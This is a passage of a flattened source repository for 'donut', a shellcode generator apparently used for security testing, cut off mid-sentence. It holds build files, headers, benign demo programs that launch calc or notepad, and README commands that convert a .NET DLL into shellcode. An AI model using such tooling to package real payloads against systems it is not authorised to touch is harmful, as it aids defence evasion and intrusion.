├── pyproject.toml ├── loader ├── order.txt ├── encode │ ├── encode.exe │ ├── README.txt │ ├── mmap.h │ ├── mmap-windows.c │ └── encode.c ├── exe2h │ ├── mmap.h │ └── mmap-windows.c ├── test │ ├── api_test.c │ ├── debug.h │ └── debug.cpp ├── getpc.c ├── inject.h ├── depack.c ├── clib.c ├── inject_local.c ├── loader.h ├── inmem_script.c ├── inject.c ├── amsi.h └── wscript.h ├── img ├── donut.PNG ├── detected.png ├── iexplore.png ├── ST_inject.PNG ├── ST_success.PNG ├── donut_logo.png ├── donut_logo_black.jpg ├── donut_logo_white.jpg ├── generate_and_copy.PNG ├── ST_generate_and_copy.PNG └── ST_generate_and_copy_86.PNG ├── lib ├── aplib32.a ├── aplib64.a ├── aplib32.lib ├── aplib64.lib └── donut.h ├── include ├── donut.ico ├── donut.rc ├── depack.h ├── mmap.h ├── pshpack1.h ├── pshpack2.h ├── pshpack4.h ├── pshpack8.h ├── poppack.h ├── wintypes.h ├── aplib.h ├── mmap-windows.c ├── format.h ├── encrypt.h └── hash.h ├── DonutTest ├── rundotnet.exe ├── calc.js ├── calc.vbs ├── App.config ├── Hello.cs ├── dlltest.c ├── Properties │ └── AssemblyInfo.cs ├── Readme.md ├── DonutTest.sln ├── DonutTest.csproj └── rundotnet.cpp ├── ProcessManager ├── img │ └── usage.JPG ├── App.config ├── ProcessManager.csproj.user ├── ProcessManager.sln ├── Properties │ └── AssemblyInfo.cs ├── LICENSE ├── README.md └── ProcessManager.csproj ├── ModuleMonitor ├── img │ └── detected.png ├── app.config ├── ModuleMonitor.csproj.user ├── ModuleMonitor.sln ├── Properties │ └── AssemblyInfo.cs ├── README.md ├── LICENSE ├── ModuleMonitor.csproj └── app.manifest ├── .gitmodules ├── MANIFEST.in ├── generators └── Readme.md ├── DemoCreateProcess ├── Class1.cs ├── DemoCreateProcess.sln ├── Readme.md ├── Properties │ └── AssemblyInfo.cs └── DemoCreateProcess.csproj ├── Dockerfile ├── Makefile ├── LICENSE ├── examples ├── static.c └── dynamic.c ├── setup.py ├── Makefile.mingw ├── Makefile.msvc ├── Makefile_x86.msvc ├── version-release-notes.txt ├── CHANGELOG.md ├── .gitignore ├── docs ├── donut.1 └── 2019-08-21-Python_Extension.md ├── encrypt.c ├── format.c └── donutmodule.c /pyproject.toml: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /loader/order.txt: -------------------------------------------------------------------------------- 1 | DonutLoader -------------------------------------------------------------------------------- /img/donut.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S4ntiagoP/donut/HEAD/img/donut.PNG -------------------------------------------------------------------------------- /lib/aplib32.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S4ntiagoP/donut/HEAD/lib/aplib32.a -------------------------------------------------------------------------------- /lib/aplib64.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S4ntiagoP/donut/HEAD/lib/aplib64.a -------------------------------------------------------------------------------- /img/detected.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S4ntiagoP/donut/HEAD/img/detected.png -------------------------------------------------------------------------------- /img/iexplore.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S4ntiagoP/donut/HEAD/img/iexplore.png -------------------------------------------------------------------------------- /lib/aplib32.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S4ntiagoP/donut/HEAD/lib/aplib32.lib -------------------------------------------------------------------------------- /lib/aplib64.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S4ntiagoP/donut/HEAD/lib/aplib64.lib -------------------------------------------------------------------------------- /img/ST_inject.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S4ntiagoP/donut/HEAD/img/ST_inject.PNG -------------------------------------------------------------------------------- /img/ST_success.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S4ntiagoP/donut/HEAD/img/ST_success.PNG -------------------------------------------------------------------------------- /img/donut_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S4ntiagoP/donut/HEAD/img/donut_logo.png -------------------------------------------------------------------------------- /include/donut.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S4ntiagoP/donut/HEAD/include/donut.ico -------------------------------------------------------------------------------- /DonutTest/rundotnet.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S4ntiagoP/donut/HEAD/DonutTest/rundotnet.exe -------------------------------------------------------------------------------- /img/donut_logo_black.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S4ntiagoP/donut/HEAD/img/donut_logo_black.jpg -------------------------------------------------------------------------------- /img/donut_logo_white.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S4ntiagoP/donut/HEAD/img/donut_logo_white.jpg -------------------------------------------------------------------------------- /img/generate_and_copy.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S4ntiagoP/donut/HEAD/img/generate_and_copy.PNG -------------------------------------------------------------------------------- /loader/encode/encode.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S4ntiagoP/donut/HEAD/loader/encode/encode.exe -------------------------------------------------------------------------------- /ProcessManager/img/usage.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S4ntiagoP/donut/HEAD/ProcessManager/img/usage.JPG -------------------------------------------------------------------------------- /img/ST_generate_and_copy.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S4ntiagoP/donut/HEAD/img/ST_generate_and_copy.PNG -------------------------------------------------------------------------------- /loader/encode/README.txt: -------------------------------------------------------------------------------- 1 | 2 | compile: cl encode.c mmap-windows.c 3 | usage: encode loader.bin base64.txt -------------------------------------------------------------------------------- /ModuleMonitor/img/detected.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S4ntiagoP/donut/HEAD/ModuleMonitor/img/detected.png -------------------------------------------------------------------------------- /img/ST_generate_and_copy_86.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S4ntiagoP/donut/HEAD/img/ST_generate_and_copy_86.PNG -------------------------------------------------------------------------------- /DonutTest/calc.js: -------------------------------------------------------------------------------- 1 | 2 | var sh 3 | sh = new ActiveXObject("Wscript.Shell") 4 | sh.Run("calc.exe") 5 | WScript.Quit() -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "generators/go-donut"] 2 | path = generators/go-donut 3 | url = https://github.com/Binject/go-donut 4 | -------------------------------------------------------------------------------- /DonutTest/calc.vbs: -------------------------------------------------------------------------------- 1 | 2 | Dim sh 3 | Set sh = CreateObject("Wscript.Shell") 4 | Call sh.Run("calc.exe") 5 | Set sh = Nothing 6 | WScript.Quit() 7 | -------------------------------------------------------------------------------- /ModuleMonitor/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /ProcessManager/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /DonutTest/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /DonutTest/Hello.cs: -------------------------------------------------------------------------------- 1 | // A Hello World! program in C#. 2 | using System; 3 | namespace HelloWorld 4 | { 5 | class Hello 6 | { 7 | static void Main() 8 | { 9 | Console.WriteLine("Hello World!"); 10 | } 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include README.md 2 | include Makefile* 3 | include LICENSE 4 | include loader_exe_x64.h 5 | include loader_exe_x86.h 6 | include version-release-notes.txt 7 | recursive-include . *.c 8 | recursive-include loader * 9 | recursive-include include * 10 | recursive-include docs * 11 | recursive-include lib * 12 | -------------------------------------------------------------------------------- /ModuleMonitor/ModuleMonitor.csproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | --clr-sentry 5 | 6 | -------------------------------------------------------------------------------- /generators/Readme.md: -------------------------------------------------------------------------------- 1 | # Generators 2 | 3 | This folder contains Donut generators written in other languages than C. They are all developed by third-parties and are maintained separately, but are linked here as submodules. To clone Donut along with the submodules, run: 4 | 5 | ``` 6 | git clone https://github.com/TheWover/donut.git --recursive 7 | ``` -------------------------------------------------------------------------------- /DemoCreateProcess/Class1.cs: -------------------------------------------------------------------------------- 1 | using System.Diagnostics; 2 | 3 | public class TestClass 4 | { 5 | public static void RunProcess(string path, string path2) 6 | { 7 | System.Console.WriteLine("[STDOUT] Running {0} and {1}...", path, path2); 8 | System.Console.Error.WriteLine("[STDERR] Running {0} and {1}...", path, path2); 9 | Process.Start(path); 10 | Process.Start(path2); 11 | } 12 | } -------------------------------------------------------------------------------- /ProcessManager/ProcessManager.csproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 2 | 3 | RUN apt-get update 4 | RUN apt-get install --no-install-recommends --no-install-suggests -y \ 5 | mingw-w64 zip build-essential perl python3 xml2 pkg-config automake \ 6 | libtool autotools-dev make g++ git ruby wget libssl-dev 7 | 8 | WORKDIR /opt 9 | RUN git clone https://github.com/TheWover/donut.git 10 | WORKDIR /opt/donut 11 | RUN make -f Makefile 12 | 13 | WORKDIR /workdir 14 | RUN chmod ugo+wrx /workdir 15 | RUN ls /opt/donut 16 | ENTRYPOINT ["/opt/donut/donut"] 17 | -------------------------------------------------------------------------------- /include/donut.rc: -------------------------------------------------------------------------------- 1 | id ICON "donut.ico" 2 | 3 | 1 VERSIONINFO 4 | FILEVERSION 1,0,0,0 5 | PRODUCTVERSION 1,0,0,0 6 | BEGIN 7 | BLOCK "StringFileInfo" 8 | BEGIN 9 | BLOCK "080904E4" 10 | BEGIN 11 | VALUE "FileDescription", "Donut shellcode generator" 12 | VALUE "FileVersion", "1.0.0" 13 | VALUE "InternalName", "donut" 14 | VALUE "OriginalFilename", "donut.exe" 15 | VALUE "ProductName", "Donut" 16 | VALUE "ProductVersion", "1.0.0" 17 | END 18 | END 19 | BLOCK "VarFileInfo" 20 | BEGIN 21 | VALUE "Translation", 0x809, 1252 22 | END 23 | END -------------------------------------------------------------------------------- /include/depack.h: -------------------------------------------------------------------------------- 1 | /* 2 | * aPLib compression library - the smaller the better :) 3 | * 4 | * C depacker, header file 5 | * 6 | * Copyright (c) 1998-2014 Joergen Ibsen 7 | * All Rights Reserved 8 | * 9 | * http://www.ibsensoftware.com/ 10 | */ 11 | 12 | #ifndef DEPACK_H_INCLUDED 13 | #define DEPACK_H_INCLUDED 14 | 15 | #ifdef __cplusplus 16 | extern "C" { 17 | #endif 18 | 19 | #ifndef APLIB_ERROR 20 | # define APLIB_ERROR ((unsigned int) (-1)) 21 | #endif 22 | 23 | /* function prototype */ 24 | unsigned int aP_depack(const void *source, void *destination); 25 | 26 | #ifdef __cplusplus 27 | } /* extern "C" */ 28 | #endif 29 | 30 | #endif /* DEPACK_H_INCLUDED */ 31 | -------------------------------------------------------------------------------- /DonutTest/dlltest.c: -------------------------------------------------------------------------------- 1 | #define WIN32_LEAN_AND_MEAN 2 | #define UNICODE 3 | 4 | #include 5 | #include "donut.h" 6 | 7 | #pragma comment(lib, "user32.lib") 8 | 9 | __declspec(dllexport) 10 | VOID APIENTRY DonutApiVoid(VOID) { 11 | MessageBoxA(NULL, "Hello, World!", "Donut Test for VOID API", MB_OK); 12 | } 13 | 14 | __declspec(dllexport) 15 | VOID APIENTRY DonutApiW(PWCHAR argv) { 16 | MessageBoxW(NULL, argv, L"Donut Test for UNICODE strings", MB_OK); 17 | } 18 | 19 | __declspec(dllexport) 20 | VOID APIENTRY DonutApiA(PCHAR argv) { 21 | MessageBoxA(NULL, argv, "Donut Test for ANSI strings", MB_OK); 22 | } 23 | 24 | __declspec(dllexport) 25 | BOOL APIENTRY DllMain(HMODULE hModule, 26 | DWORD ul_reason_for_call, 27 | LPVOID lpReserved) { 28 | switch (ul_reason_for_call) { 29 | case DLL_PROCESS_ATTACH: 30 | case DLL_THREAD_ATTACH: 31 | case DLL_THREAD_DETACH: 32 | case DLL_PROCESS_DETACH: 33 | break; 34 | } 35 | return TRUE; 36 | } 37 | -------------------------------------------------------------------------------- /include/mmap.h: -------------------------------------------------------------------------------- 1 | 2 | 3 | #ifndef MMAP_H 4 | #define MMAP_H 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | #define PROT_READ 0x1 11 | #define PROT_WRITE 0x2 12 | /* This flag is only available in WinXP+ */ 13 | #ifdef FILE_MAP_EXECUTE 14 | #define PROT_EXEC 0x4 15 | #else 16 | #define PROT_EXEC 0x0 17 | #define FILE_MAP_EXECUTE 0 18 | #endif 19 | 20 | #define MAP_SHARED 0x01 21 | #define MAP_PRIVATE 0x02 22 | #define MAP_ANONYMOUS 0x20 23 | #define MAP_ANON MAP_ANONYMOUS 24 | #define MAP_FAILED ((void *) -1) 25 | 26 | #ifdef __USE_FILE_OFFSET64 27 | # define DWORD_HI(x) (x >> 32) 28 | # define DWORD_LO(x) ((x) & 0xffffffff) 29 | #else 30 | # define DWORD_HI(x) (0) 31 | # define DWORD_LO(x) (x) 32 | #endif 33 | 34 | #ifdef __cplusplus 35 | extern "C" { 36 | #endif 37 | 38 | void *mmap(void *start, uint32_t length, int prot, int flags, int fd, off_t offset); 39 | void munmap(void *addr, uint32_t length); 40 | 41 | #ifdef __cplusplus 42 | } 43 | #endif 44 | 45 | #endif -------------------------------------------------------------------------------- /loader/encode/mmap.h: -------------------------------------------------------------------------------- 1 | 2 | 3 | #ifndef MMAP_H 4 | #define MMAP_H 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | #define PROT_READ 0x1 11 | #define PROT_WRITE 0x2 12 | /* This flag is only available in WinXP+ */ 13 | #ifdef FILE_MAP_EXECUTE 14 | #define PROT_EXEC 0x4 15 | #else 16 | #define PROT_EXEC 0x0 17 | #define FILE_MAP_EXECUTE 0 18 | #endif 19 | 20 | #define MAP_SHARED 0x01 21 | #define MAP_PRIVATE 0x02 22 | #define MAP_ANONYMOUS 0x20 23 | #define MAP_ANON MAP_ANONYMOUS 24 | #define MAP_FAILED ((void *) -1) 25 | 26 | #ifdef __USE_FILE_OFFSET64 27 | # define DWORD_HI(x) (x >> 32) 28 | # define DWORD_LO(x) ((x) & 0xffffffff) 29 | #else 30 | # define DWORD_HI(x) (0) 31 | # define DWORD_LO(x) (x) 32 | #endif 33 | 34 | #ifdef __cplusplus 35 | extern "C" { 36 | #endif 37 | 38 | void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset); 39 | void munmap(void *addr, size_t length); 40 | 41 | #ifdef __cplusplus 42 | } 43 | #endif 44 | 45 | #endif -------------------------------------------------------------------------------- /loader/exe2h/mmap.h: -------------------------------------------------------------------------------- 1 | 2 | 3 | #ifndef MMAP_H 4 | #define MMAP_H 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | #define PROT_READ 0x1 11 | #define PROT_WRITE 0x2 12 | /* This flag is only available in WinXP+ */ 13 | #ifdef FILE_MAP_EXECUTE 14 | #define PROT_EXEC 0x4 15 | #else 16 | #define PROT_EXEC 0x0 17 | #define FILE_MAP_EXECUTE 0 18 | #endif 19 | 20 | #define MAP_SHARED 0x01 21 | #define MAP_PRIVATE 0x02 22 | #define MAP_ANONYMOUS 0x20 23 | #define MAP_ANON MAP_ANONYMOUS 24 | #define MAP_FAILED ((void *) -1) 25 | 26 | #ifdef __USE_FILE_OFFSET64 27 | # define DWORD_HI(x) (x >> 32) 28 | # define DWORD_LO(x) ((x) & 0xffffffff) 29 | #else 30 | # define DWORD_HI(x) (0) 31 | # define DWORD_LO(x) (x) 32 | #endif 33 | 34 | #ifdef __cplusplus 35 | extern "C" { 36 | #endif 37 | 38 | void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset); 39 | void munmap(void *addr, size_t length); 40 | 41 | #ifdef __cplusplus 42 | } 43 | #endif 44 | 45 | #endif -------------------------------------------------------------------------------- /include/pshpack1.h: -------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | Copyright (c) Microsoft Corporation. All rights reserved. 4 | 5 | Module Name: 6 | 7 | pshpack1.h 8 | 9 | Abstract: 10 | 11 | This file turns 1 byte packing of structures on. (That is, it disables 12 | automatic alignment of structure fields.) An include file is needed 13 | because various compilers do this in different ways. For Microsoft 14 | compatible compilers, this files uses the push option to the pack pragma 15 | so that the poppack.h include file can restore the previous packing 16 | reliably. 17 | 18 | The file poppack.h is the complement to this file. 19 | 20 | --*/ 21 | 22 | #if ! (defined(lint) || defined(RC_INVOKED)) 23 | #if ( _MSC_VER >= 800 && !defined(_M_I86)) || defined(_PUSHPOP_SUPPORTED) 24 | #pragma warning(disable:4103) 25 | #if !(defined( MIDL_PASS )) || defined( __midl ) 26 | #pragma pack(push,1) 27 | #else 28 | #pragma pack(1) 29 | #endif 30 | #else 31 | #pragma pack(1) 32 | #endif 33 | #endif /* ! (defined(lint) || defined(RC_INVOKED)) */ 34 | 35 | -------------------------------------------------------------------------------- /include/pshpack2.h: -------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | Copyright (c) Microsoft Corporation. All rights reserved. 4 | 5 | Module Name: 6 | 7 | pshpack2.h 8 | 9 | Abstract: 10 | 11 | This file turns 2 byte packing of structures on. (That is, it disables 12 | automatic alignment of structure fields.) An include file is needed 13 | because various compilers do this in different ways. For Microsoft 14 | compatible compilers, this files uses the push option to the pack pragma 15 | so that the poppack.h include file can restore the previous packing 16 | reliably. 17 | 18 | The file poppack.h is the complement to this file. 19 | 20 | --*/ 21 | 22 | #if ! (defined(lint) || defined(RC_INVOKED)) 23 | #if ( _MSC_VER >= 800 && !defined(_M_I86)) || defined(_PUSHPOP_SUPPORTED) 24 | #pragma warning(disable:4103) 25 | #if !(defined( MIDL_PASS )) || defined( __midl ) 26 | #pragma pack(push,2) 27 | #else 28 | #pragma pack(2) 29 | #endif 30 | #else 31 | #pragma pack(2) 32 | #endif 33 | #endif /* ! (defined(lint) || defined(RC_INVOKED)) */ 34 | 35 | -------------------------------------------------------------------------------- /include/pshpack4.h: -------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | Copyright (c) Microsoft Corporation. All rights reserved. 4 | 5 | Module Name: 6 | 7 | pshpack4.h 8 | 9 | Abstract: 10 | 11 | This file turns 4 byte packing of structures on. (That is, it disables 12 | automatic alignment of structure fields.) An include file is needed 13 | because various compilers do this in different ways. For Microsoft 14 | compatible compilers, this files uses the push option to the pack pragma 15 | so that the poppack.h include file can restore the previous packing 16 | reliably. 17 | 18 | The file poppack.h is the complement to this file. 19 | 20 | --*/ 21 | 22 | #if ! (defined(lint) || defined(RC_INVOKED)) 23 | #if ( _MSC_VER >= 800 && !defined(_M_I86)) || defined(_PUSHPOP_SUPPORTED) 24 | #pragma warning(disable:4103) 25 | #if !(defined( MIDL_PASS )) || defined( __midl ) 26 | #pragma pack(push,4) 27 | #else 28 | #pragma pack(4) 29 | #endif 30 | #else 31 | #pragma pack(4) 32 | #endif 33 | #endif /* ! (defined(lint) || defined(RC_INVOKED)) */ 34 | 35 | -------------------------------------------------------------------------------- /include/pshpack8.h: -------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | Copyright (c) Microsoft Corporation. All rights reserved. 4 | 5 | Module Name: 6 | 7 | pshpack8.h 8 | 9 | Abstract: 10 | 11 | This file turns 8 byte packing of structures on. (That is, it disables 12 | automatic alignment of structure fields.) An include file is needed 13 | because various compilers do this in different ways. For Microsoft 14 | compatible compilers, this files uses the push option to the pack pragma 15 | so that the poppack.h include file can restore the previous packing 16 | reliably. 17 | 18 | The file poppack.h is the complement to this file. 19 | 20 | --*/ 21 | 22 | #if ! (defined(lint) || defined(RC_INVOKED)) 23 | #if ( _MSC_VER >= 800 && !defined(_M_I86)) || defined(_PUSHPOP_SUPPORTED) 24 | #pragma warning(disable:4103) 25 | #if !(defined( MIDL_PASS )) || defined( __midl ) 26 | #pragma pack(push,8) 27 | #else 28 | #pragma pack(8) 29 | #endif 30 | #else 31 | #pragma pack(8) 32 | #endif 33 | #endif /* ! (defined(lint) || defined(RC_INVOKED)) */ 34 | 35 | -------------------------------------------------------------------------------- /loader/test/api_test.c: -------------------------------------------------------------------------------- 1 | 2 | #define UNICODE 3 | #include 4 | 5 | #include "donut.h" 6 | #pragma comment(lib, "user32.lib") 7 | 8 | void call_api(FARPROC api, int param_cnt, WCHAR param[DONUT_MAX_PARAM][DONUT_MAX_NAME]); 9 | typedef VOID (WINAPI *_DonutApiW)(PWCHAR,PWCHAR,PWCHAR,PWCHAR); 10 | 11 | int main(void) { 12 | HMODULE m; 13 | _DonutApiW DonutApiW; 14 | WCHAR param[4][DONUT_MAX_NAME]={L"arg0",L"arg1",L"arg2",L"arg3"}; 15 | 16 | WCHAR msg[4096]; 17 | 18 | _snwprintf(msg, ARRAYSIZE(msg), 19 | L"param[0] : %ws\r" 20 | L"param[1] : %ws\r" 21 | L"param[2] : %ws\r" 22 | L"param[3] : %ws\r", 23 | param[0], param[1], param[2], param[3]); 24 | 25 | MessageBox(NULL, msg, L"Donut Test", MB_OK); 26 | 27 | m = LoadLibrary(L"call_api_dll.dll"); 28 | 29 | if(m != NULL) { 30 | DonutApiW = (_DonutApiW)GetProcAddress(m, "DonutApiW"); 31 | if(DonutApiW != NULL) { 32 | call_api((FARPROC)DonutApiW, 4, param); 33 | } 34 | } 35 | return 0; 36 | } 37 | 38 | -------------------------------------------------------------------------------- /include/poppack.h: -------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | Copyright (c) Microsoft Corporation. All rights reserved. 4 | 5 | Module Name: 6 | 7 | poppack.h 8 | 9 | Abstract: 10 | 11 | This file turns packing of structures off. (That is, it enables 12 | automatic alignment of structure fields.) An include file is needed 13 | because various compilers do this in different ways. 14 | 15 | poppack.h is the complement to pshpack?.h. An inclusion of poppack.h 16 | MUST ALWAYS be preceded by an inclusion of one of pshpack?.h, in one-to-one 17 | correspondence. 18 | 19 | For Microsoft compatible compilers, this file uses the pop option 20 | to the pack pragma so that it can restore the previous saved by the 21 | pshpack?.h include file. 22 | 23 | --*/ 24 | 25 | #if ! (defined(lint) || defined(RC_INVOKED)) 26 | #if ( _MSC_VER >= 800 && !defined(_M_I86)) || defined(_PUSHPOP_SUPPORTED) 27 | #pragma warning(disable:4103) 28 | #if !(defined( MIDL_PASS )) || defined( __midl ) 29 | #pragma pack(pop) 30 | #else 31 | #pragma pack() 32 | #endif 33 | #else 34 | #pragma pack() 35 | #endif 36 | #endif /* ! (defined(lint) || defined(RC_INVOKED)) */ 37 | 38 | -------------------------------------------------------------------------------- /ModuleMonitor/ModuleMonitor.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28307.136 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ModuleMonitor", "ModuleMonitor.csproj", "{361C69F5-7885-4931-949A-B91EEAB170E3}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {361C69F5-7885-4931-949A-B91EEAB170E3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {361C69F5-7885-4931-949A-B91EEAB170E3}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {361C69F5-7885-4931-949A-B91EEAB170E3}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {361C69F5-7885-4931-949A-B91EEAB170E3}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {B18C8887-D713-4379-A365-35C9C89A1C36} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /ProcessManager/ProcessManager.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28307.136 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ProcessManager", "ProcessManager.csproj", "{98CA74C7-A074-434D-9772-75896E73CEAA}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {98CA74C7-A074-434D-9772-75896E73CEAA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {98CA74C7-A074-434D-9772-75896E73CEAA}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {98CA74C7-A074-434D-9772-75896E73CEAA}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {98CA74C7-A074-434D-9772-75896E73CEAA}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {EA625DA1-2E6D-4092-B504-DEE5CD2E9F43} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /DemoCreateProcess/DemoCreateProcess.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28307.136 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DemoCreateProcess", "DemoCreateProcess.csproj", "{75C4A31E-6E99-4289-8701-EF0B6CD94435}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {75C4A31E-6E99-4289-8701-EF0B6CD94435}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {75C4A31E-6E99-4289-8701-EF0B6CD94435}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {75C4A31E-6E99-4289-8701-EF0B6CD94435}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {75C4A31E-6E99-4289-8701-EF0B6CD94435}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {3A24F1AC-B24D-4029-9661-05CA11DAFC82} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | donut: clean 2 | gcc -Wunused-function -Wall -fpack-struct=8 -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader/clib.c lib/aplib64.a -odonut 3 | gcc -Wunused-function -Wall -c -fpack-struct=8 -fPIC -I include donut.c hash.c encrypt.c format.c loader/clib.c 4 | ar rcs lib/libdonut.a donut.o hash.o encrypt.o format.o clib.o lib/aplib64.a 5 | gcc -Wall -shared -o lib/libdonut.so donut.o hash.o encrypt.o format.o clib.o lib/aplib64.a 6 | debug: clean 7 | gcc -Wunused-function -ggdb -Wall -Wno-format -fpack-struct=8 -DDEBUG -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader/clib.c lib/aplib64.a -odonut 8 | hash: 9 | gcc -Wall -Wno-format -fpack-struct=8 -DTEST -I include hash.c loader/clib.c -ohash 10 | encrypt: 11 | gcc -Wall -Wno-format -fpack-struct=8 -DTEST -I include encrypt.c loader/clib.c -oencrypt 12 | inject: 13 | gcc -Wall -Wno-format -fpack-struct=8 -DTEST -I include loader/inject.c -oinject 14 | inject_local: 15 | gcc -Wall -Wno-format -fpack-struct=8 -DTEST -I include loader/inject_local.c -oinject_local 16 | clean: 17 | rm -f loader.exe exe2h.exe exe2h loader32.exe loader64.exe donut.o hash.o encrypt.o format.o clib.o hash encrypt donut hash.exe encrypt.exe donut.exe lib/libdonut.a lib/libdonut.so 18 | -------------------------------------------------------------------------------- /DemoCreateProcess/Readme.md: -------------------------------------------------------------------------------- 1 | # DemoCreateProcess 2 | 3 | A simple C# program to use as a demo for testing shellcode. It takes two program names (such as notepad.exe,calc.exe) as parameters. You may generate shellcode for it using donut: 4 | 5 | 64-bit: 6 | 7 | ``` 8 | .\donut.exe -i .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p "notepad.exe calc.exe" 9 | ``` 10 | 11 | 32-bit: 12 | 13 | ``` 14 | .\donut.exe -i -a 1 .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p "notepad.exe calc.exe" 15 | ``` 16 | 17 | # Building on Linux 18 | 19 | This project can be built on Linux using Mono and xbuild. First, follow the official [instructions](https://www.mono-project.com/download/stable/#download-lin) for install Mono. Then, install `mono-xbuild`. 20 | 21 | To build the project, simply `cd` to its root directory and run: 22 | 23 | ``` 24 | xbuild 25 | ``` 26 | 27 | To build in Release mode, run: 28 | 29 | ``` 30 | xbuild /p:Configuration=Release 31 | ``` 32 | 33 | If receiving errors about missing dependencies, try specifying the targeted 